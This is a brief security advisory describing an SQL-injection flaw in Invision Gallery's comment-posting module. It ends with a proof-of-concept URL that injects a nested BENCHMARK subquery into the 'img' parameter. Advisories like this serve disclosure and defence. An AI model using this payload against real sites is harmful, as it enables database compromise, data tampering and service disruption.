source: https://www.securityfocus.com/bid/21388/info

Invision Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?automodule=gallery&cmd=postcomment&op=doaddcomment&Post=test&img=111 OR id IN (SELECT BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) FROM ipb_gallery_images )